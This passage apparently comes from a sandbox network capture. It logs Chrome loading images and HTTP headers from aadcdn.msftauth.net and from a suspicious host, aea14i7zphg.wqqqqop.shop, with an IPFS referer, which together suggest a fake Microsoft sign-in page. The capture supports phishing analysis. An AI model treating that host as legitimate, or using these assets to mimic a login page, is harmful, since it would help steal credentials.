2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 82 78 4b 1b d9 98 d3 24 49 52 18 97 4f d5 8c 5b ce 9f 3f 8f a5 4b 97 b6 b8 19 5d 9f d1 ef 8e 3b ee c0 6d b7 dd d6 e2 e1 00 e5 e5 e5 28 2c 2c c4 96 2d 5b 22 8a b2 e9 d6 ad 1b e6 cf 9f ef 28 8f 56 93 08 91 2c cb 47 98 59 3b 26 29 8e a8 9f f7 44 f3 d8 cb ca ca 42 20 10 40 7a 7a 7a 43 0e d2 73 e7 ce e1 fc f9 f3 38 7a f4 68 54 6b 62 bd 7a f5 c2 53 4f 3d e5 0a 6f d6 58 61 e6 c3 54 5a 5a ba b3 ad 1c 13 57 5b 5b 8b 37 df 7c 13 7f ff fb df 2d 1b 93 88 30 6a d4 28 fc e8 47 3f 8a 27 2f d1 66 61 e6 ed 24 49 d2 46 00 df 6f b1 75 1c b1 6f df 3e bc fa ea ab a6 af c2 a7 a7 a7 63 fa f4 e9 b8 f5 d6 5b 4d 1d c7 69 10 d1 06 01 c0 29 bb 85 58 49 59 59 19 be fa ea 2b dd 95 70 23 a9 a8 a8 c0 ee dd bb 1d e5 c1 6a 11 e5 24 49 d2 af 01 3c 6b b7 12 b3 39 7f fe 3c d6 af 5f 8f 0f 3e Data Ascii: xK$IRO[?K];m(,,-["(V,GY;&)DB @zzzCs8zhTkbzSO=oXaTZZW[[7\|-0j(G?'/fa$IFouo>c[Mi)XIYY+p#j$I<k9<_>
2024-05-27 17:30:43 UTC	1369	IN	Data Raw: 80 a3 4e 0d aa a9 a9 d1 4d 0c ab f7 c7 70 23 83 07 6b 9f 97 75 f0 e0 41 27 1e 8b 72 4a 6f 25 41 d3 b0 44 51 ac 02 f0 07 53 25 45 49 71 71 b1 e6 d1 25 a9 a9 a9 ba 47 b5 b9 91 ee dd bb 23 25 25 a5 49 79 75 75 35 8a 8b 8b 35 ae b0 0f 66 5e 56 67 2b 4d d0 f5 2a 13 04 e1 65 00 f6 86 b5 5c 85 5e de 85 9e 3d 7b ba de 39 ee 6a 04 41 d0 4d 2b ee a4 83 10 00 54 b7 6b d7 ee 8f 7a 95 ba 7f 11 9f cf 57 46 44 6f 98 a3 29 7a 8e 1f 3f ae 59 de ad 5b 37 8b 95 98 8f 9e e7 83 de ef c0 26 56 65 66 66 ea 46 e2 b6 f4 55 5f 0c c0 11 f9 b3 f4 9c e3 e2 ec a8 10 00 d0 4d c8 76 f2 a4 63 5c e6 2e 11 d1 73 cd 35 68 d6 b0 fc 7e ff 31 00 2b 0d 95 d4 4a f4 f2 2c c4 63 6c 9e de 97 a5 bc bc dc 62 25 da 10 d1 72 bf df 7f b4 b9 36 2d 4e 4e 54 55 fd 0f 38 60 ae 75 fe fc 79 cd 72 27 9c 4e 6f Data Ascii: NMp#kuA'rJo%ADQS%EIqq%G#%%Iyuu55f^Vg+M*e\^={9jAM+TkzWFDo)z?Y[7&VeffFU_Mvc\.s5h~1+J,clb%r6-NNTU8`uyr'No
2024-05-27 17:30:43 UTC	54	IN	Data Raw: 59 05 80 1a 00 0a 33 97 13 51 39 11 95 33 73 39 33 1f 13 04 a1 04 40 89 a2 28 c5 46 44 14 bb 95 ff 07 8e 4e 4a ac 93 a5 90 05 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: Y3Q93s93@(FDNJIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	55940	152.199.23.37	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:43 UTC	655	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	736	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 5577830 Cache-Control: public, max-age=31536000 Content-MD5: TjUQkZ0p0Y7rbj6LJofS9Q== Content-Type: image/svg+xml Date: Mon, 27 May 2024 17:30:43 GMT Etag: 0x8D79A1B9B05915D Last-Modified: Thu, 16 Jan 2020 00:32:45 GMT Server: ECAcc (lhd/35E7) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: b8175cca-401e-00db-62a0-7d4b57000000 x-ms-version: 2009-09-19 Content-Length: 513 Connection: close
2024-05-27 17:30:44 UTC	513	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 32 34 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 31 38 2c 31 31 2e 35 37 38 76 2e 38 34 34 48 37 2e 36 31 37 6c 33 2e 39 32 31 2c 33 2e 39 32 38 2d 2e 35 39 34 2e 35 39 34 4c 36 2c 31 32 6c 34 2e 39 34 34 2d 34 2e 39 34 34 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 38 5a 22 20 66 69 6c 6c 3d 22 23 34 30 34 30 34 30 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 31 30 2e 39 34 34 2c 37 2e 30 35 36 6c 2e 35 39 34 2e 35 39 34 4c 37 2e 36 31 37 2c 31 31 2e 35 37 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	55945	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	617	OUT	GET /static/media/message_think.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 810 Connection: close Content-Disposition: inline; filename="message_think.png" Last-Modified: Sat, 04 Nov 2023 15:29:55 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mGD0iKhWQh83cc9ZACkrvMHTrV3XUBYKRtRM78D%2BKF6cyb3AClWjztkcAGolSW%2Fex7HPijuqnzxYgG%2F6PJaKv9WztlGjO7%2FS462cKvUsRfTNgPFH80SaCqusp86u7LXdtUrT5UW%2FfPqRL%2Fc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a4e2042d7-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	512	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 02 76 49 44 41 54 78 9c ed da 31 6e 13 41 18 86 e1 19 93 94 b9 02 57 a0 70 8b 58 23 41 83 10 5d a4 70 1a 38 00 27 a0 44 48 1c 82 22 de 50 73 09 da 14 34 90 d2 4b 93 36 22 0b 7c de 99 e5 79 5a 6b f7 ff 25 bf da f1 4a 2e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 8f d4 63 0c d9 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-vIDATx1nAWpX#A]p8'DH"Ps4K6"\|yZk%J.c
2024-05-27 17:30:44 UTC	298	IN	Data Raw: 7d b4 e4 fc 45 c3 2a a5 bc ab f5 fe df f5 34 4d fb 52 ca d3 39 03 ce cf cf 1f 5c 5f 5f 7f 28 a5 5c cc 99 c5 df 59 f5 51 78 1b d5 c7 52 ca c5 d2 bb fc 6f 56 1b 96 a8 96 b5 ca b0 44 b5 bc d5 85 25 aa 36 ac 2a 2c 51 b5 e3 28 6f 85 fb fd 7e d6 eb d8 30 0c 6f 6b ad 6f e6 5c 73 9f a8 0e 87 c3 4d ad f5 e5 38 8e 97 73 ee cd 7c ab 78 62 89 aa 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e f4 16 d6 89 a8 fa b0 f4 bf 1b e6 7a fc 9b cf 7f 94 52 5e 8c e3 f8 e5 18 cb 70 b7 de 9e 58 77 3a 1c 0e 37 d3 34 bd ba ba ba 12 55 03 56 11 96 e3 af 3d dd 87 25 aa 36 75 1d 96 a8 da d5 6d 58 a2 6a 5b 97 61 89 aa 7d dd 85 25 aa 3e 74 15 96 a8 fa d1 4d 58 a2 ea 4b 17 61 89 aa 3f cd 87 25 aa 3e 35 1d 96 a8 fa d5 6c 58 a2 ea 5b ab 61 fd 14 15 ff dc 76 Data Ascii: }E4MR9\__(\YQxRoVD%6,Q(o~0oko\sM8s\|xb=%6umXj[a}%>zR^pXw:74UV=%6umXj[a}%>tMXKa?%>5lX[av

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	55952	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	382	OUT	GET /static/media/person_workshcool.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	861	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 5421 Connection: close Content-Disposition: inline; filename="person_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:29:02 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R9x2FlXgao5UajJwhYzjZmdzsxIGkpnNfR%2FmRbDs69MxqOrXpRssiPsgR8osfQaweoHcsQBxch9qzvPXdDoVbyeKL2PHBEBQVIWf1MBeXeBzu%2FmYAQi2nzop3UPY4RUNUUPH2V1eCxzTpE4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a4a6cc324-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	508	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 14 79 49 44 41 54 78 9c ed 9d 7f 70 55 e5 99 c7 bf cf 7b f3 4b b1 e1 47 30 39 e7 92 40 90 09 dd 2e a2 19 50 28 62 86 19 5b 7e d8 66 97 71 00 b7 2d 54 94 15 ec ba 95 da d2 15 4b 6d c5 ba 0b 4a c1 ca 6e b5 42 0b d2 6a 15 0b bb 2a 22 ab 66 14 84 22 a6 1b 31 36 38 ea d0 92 00 b9 f7 9c 7b 6b 08 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-yIDATxpU{KG09@.P(b[~fq-TKmJnBj*"f"168{k
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 49 d2 11 b7 c5 24 83 2f 8d a5 aa ea 10 4d d3 fe 89 99 97 0a 21 be ec b6 1e 3b 20 a2 43 ba ae ff 9a 88 5e 08 06 83 67 dd d6 13 2f be 32 96 aa aa 85 9a a6 dd 0d e0 bb 44 54 e0 b6 1e 87 68 21 a2 6d 9d 9d 9d eb 4a 4a 4a 42 6e 8b 89 15 5f 18 4b 55 d5 b1 cc fc 63 66 5e 04 20 d7 6d 3d 2e 71 9e 88 7e 07 60 8d 2c cb 0d 6e 8b 19 0c 4f 1b 2b 14 0a 95 08 21 7e c8 cc 77 21 7d 0d d5 97 0e 00 db 85 10 0f 4a 92 54 ef b6 18 33 3c 69 ac 4f 3f fd f4 0b 1d 1d 1d 3f 62 e6 ef 03 c8 73 5b 8f 47 69 03 b0 41 08 b1 56 92 a4 56 b7 c5 f4 c5 53 c6 ea 5a c8 5c cc cc 6b 00 c8 6e eb f1 03 44 14 06 70 bf 24 49 cf 7a 69 a9 c2 33 c6 8a 46 a3 e3 da db db 37 0b 21 6e 72 5b 8b 4f 39 00 60 59 30 18 fc d8 6d 21 00 20 dc 16 c0 cc 59 e1 70 78 55 67 67 e7 91 8c a9 92 a2 82 99 0f 87 c3 e1 95 cc 9c Data Ascii: I$/M!; C^g/2DTh!mJJJBn_KUcf^ m=.q~`,nO+!~w!}JT3<iO??bs[GiAVVSZ\knDp$Izi3F7!nr[O9`Y0m! YpxUgg
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: fc f8 71 44 a3 51 b7 65 98 71 a7 d1 c5 7e c6 8a 44 22 13 01 4c b5 5d 4e 02 38 b1 b3 c6 ab 9c 3a 75 ca 6d 09 86 30 f3 8d 8a a2 fc 7d df eb fd 8c a5 69 da ed 8e 28 4a 80 44 7f fb 4b 05 3c fe bd f7 db a4 79 49 75 dd ae 62 1e f3 9d d3 63 1d 66 9b 53 63 a5 bd bd 1d cb 97 2f 47 4b 4b 4b bf b6 ec ec 6c 3c fe f8 e3 18 3e 7c 78 52 63 c4 c2 b7 be f5 2d db c7 b0 1a 66 fe 06 33 df df bb b8 c8 25 11 4b 51 94 e9 00 92 de 53 e6 47 72 72 72 4c 77 25 77 74 74 e0 95 57 5e 71 58 91 af 18 1d 89 44 2e 29 ff 79 89 b1 88 c8 97 d1 ca 2a 66 cd 9a 65 ba 1a ff e6 9b 6f e2 f4 e9 d3 0e 2b f2 0f ba ae df da fb eb 4b 8c d5 75 32 69 da 92 9b 9b 3b 60 d4 da bd 7b b7 c3 8a fc 03 33 5f f2 0f d7 63 ac ae 7c 76 5f 1c 77 6b 27 03 45 ad aa aa aa 4c d4 32 81 88 be 18 8d 46 7b fc 23 7a 35 dc ec Data Ascii: qDQeq~D"L]N8:um0}i(JDK<yIubcfSc/GKKKl<>\|xRc-f3%KQSGrrrLw%wttW^qXD.)y*feo+Ku2i;`{3_c\|v_wk'EL2F{#z5
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: f8 33 70 b1 76 c3 9f dd d5 e2 1e 25 25 25 b8 ed b6 db 2c eb 6f f1 e2 c5 28 2d 2d b5 ac 3f bf 41 44 75 c0 c5 6a 33 ef b9 a8 c5 55 3e fa e8 23 4b 4b 6d ef da b5 0b 75 75 69 fb 01 00 5d d7 0f 03 17 0f 10 30 3e 74 2f 85 d1 75 1d cf 3c f3 0c 5e 7f fd 75 4b fb 8d 46 a3 58 bb 76 2d e6 cc 99 83 45 8b 16 a5 dd 06 0b 66 fe 23 d0 15 b1 64 59 fe 04 40 fc 4b ce 3e a5 ad ad 0d eb d7 af b7 dc 54 bd 79 ed b5 d7 b0 61 c3 86 74 2b d0 16 2d 2e 2e 3e 0a 5c 9c 63 31 11 bd eb ae 26 67 e8 ec ec c4 c6 8d 1b 63 4e 47 0e 04 02 18 3e 7c 78 4f 82 df f0 e1 c3 11 08 04 62 7a f6 fd f7 df c7 c6 8d 1b d3 a9 ac 64 cf 27 5f 4f 6a 32 33 57 01 f8 07 57 e4 38 c8 d6 ad 5b f1 c1 07 1f 0c 78 4f 4e 4e 0e a6 4d 9b 86 eb af bf 1e 57 5f 7d 75 bf 85 ce f6 f6 76 d4 d5 d5 a1 a6 a6 06 87 0e 1d 32 4d 51 Data Ascii: 3pv%%%,o(--?ADuj3U>#KKmuui]0>t/u<^uKFXv-Ef#dY@K>Tyat+-..>\c1&gcNG>\|xObzd'_Oj23WW8[xONNMW_}uv2MQ
2024-05-27 17:30:44 UTC	806	IN	Data Raw: fc 0a 11 a1 a0 a0 00 53 a6 4c c1 2d b7 dc 62 ba 6d df 62 74 22 5a 20 cb f2 ff 58 d1 99 a5 13 96 70 38 7c 2f 80 5f 58 d9 67 06 67 60 e6 7b 46 8d 1a f5 4b ab fa b3 34 ba 04 83 c1 c7 89 68 b5 95 7d 66 b0 1f 22 7a c0 4a 53 01 16 47 ac 6e 14 45 79 84 99 57 da d1 77 06 cb 79 3c 18 0c 7e df ea 4e 6d 99 0f c9 b2 7c 3f 80 9f d9 d1 77 06 eb 20 a2 75 b2 2c ff c0 96 be ed e8 b4 9b 70 38 bc 12 c0 80 49 f7 19 dc 81 88 1e ed 0a 00 f6 f4 6f 57 c7 dd 74 4d e8 37 c0 81 df 16 33 c4 84 ce cc df b3 7a 4e d5 17 47 96 b1 c3 e1 f0 2d 00 9e 05 70 b9 13 e3 65 30 a5 4d 08 b1 58 92 a4 3f d8 3d 90 63 ef 47 22 91 c8 97 35 4d db 05 c0 fe 2d c8 19 8c 88 08 21 fe 51 92 a4 3f 39 31 98 63 1f 4f 45 45 45 ef ea ba 3e 09 40 b5 53 63 66 e8 e1 3d 22 9a ea 94 a9 00 87 e7 3d c5 c5 c5 8d ad ad ad Data Ascii: SL-bmbt"Z Xp8\|/_Xgg`{FK4h}f"zJSGnEyWwy<~Nm\|?w u,p8IoWtM73zNG-pe0MX?=cG"5M-!Q?91cOEEE>@Scf="=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	55950	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	375	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	857	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NXXQsXgk6oUreYOuqb7B26FwHh8yARI3IRxevPadlRxDFYHlnV%2B3Gvy3nw%2BP1Ut98m3chcO5fUQckRCuQ5Eccw1Dk3iQZnzcwi8yNNstwnVlza7da9WRrOjxZuXJlpdI0dCwA%2FtrGsXNW%2BM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a6ff18cec-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	55947	104.21.96.107	443	6892	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-27 17:30:44 UTC	615	OUT	GET /static/media/auth_number.png HTTP/1.1 Host: aea14i7zphg.wqqqqop.shop Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://cloudflare-ipfs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-27 17:30:44 UTC	850	IN	HTTP/1.1 200 OK Date: Mon, 27 May 2024 17:30:44 GMT Content-Type: image/png Content-Length: 2382 Connection: close Content-Disposition: inline; filename="auth_number.png" Last-Modified: Sat, 04 Nov 2023 15:30:22 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c4nt4yB0J6USypwp%2FXb8zS1TcPVdGRmaXzMshqwFFL4RhLm3BO8zmO1o%2FoWHM3jBIK7RXDs3X0nPSJCQtki4WVBB7ADyjYjF0vPM2LbPZcmawf9wkHONtq4Vgb9CGo%2FJUHCpevctECtWYTE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 88a7bc0a682c0f68-EWR alt-svc: h3=":443"; ma=86400
2024-05-27 17:30:44 UTC	519	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 08 9a 49 44 41 54 78 9c ed dd 7b 6c 5b 57 1d 07 f0 ef ef dc 3c 48 d2 48 54 eb bc 95 6d a5 b0 b6 e3 d1 81 90 a7 ad 2c ab cf 4d a3 12 aa 55 82 41 bd 3f a7 b1 49 48 55 25 b4 aa d5 ca 26 f1 c7 04 ea 63 2b d0 22 60 e2 a1 21 2a 55 53 f1 84 40 2a 0d 54 8b ed eb b6 50 1e e9 a4 0a a6 0d 36 34 36 26 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATx{l[W<HHTm,MUA?IHU%&c+"`!US@TP646&
2024-05-27 17:30:44 UTC	1369	IN	Data Raw: 4c 69 be fb a8 a7 1b 22 58 a9 54 6a b5 88 1c 02 b0 6e ea 71 e7 5c 2f 80 e3 d5 b4 b1 69 d3 a6 d6 d1 d1 d1 07 55 b5 1b c0 3d ce b9 35 22 b2 54 44 c4 5a ab 00 86 00 9c 75 ce 9d 6a 69 69 39 dc df df ff e7 6a c7 d7 d5 d5 d5 d9 d2 d2 b2 a9 58 2c f6 1a 63 3e a1 aa 77 19 63 da 27 cb cf 9d 3b e7 52 a9 d4 1b 00 4e 07 41 70 38 97 cb bd 0c c0 55 db fe 42 d4 d0 c1 5a b7 6e 5d 5b 6b 6b eb 0e 00 5f 06 d0 31 9b 36 ac b5 cb 44 e4 e9 2b 57 ae 3c 2a 22 4b 27 8f 1b f3 bf 59 82 88 08 80 9b 01 f4 04 41 d0 53 2c 16 bf 12 86 e1 4b 41 10 6c 9d ee 19 31 0c c3 3d aa ba 4d 55 3b 83 20 98 6c ef ff ce 31 d7 3a 5b 03 60 8d aa 3e 92 4a a5 5e 35 c6 7c 29 9f cf f7 cf e6 31 2d 04 0d 39 c7 da bc 79 73 bb b5 76 6b 6b 6b eb eb 22 f2 55 11 99 55 a8 c2 30 ec 15 91 bf 00 d8 3e 35 54 d3 99 08 5a Data Ascii: Li"XTjnq\/iU=5"TDZujii9jX,c>wc';RNAp8UBZn][kk_16D+W<*"K'YAS,KAl1=MU; l1:[`>J^5\|)1-9ysvkkk"UU0>5TZ
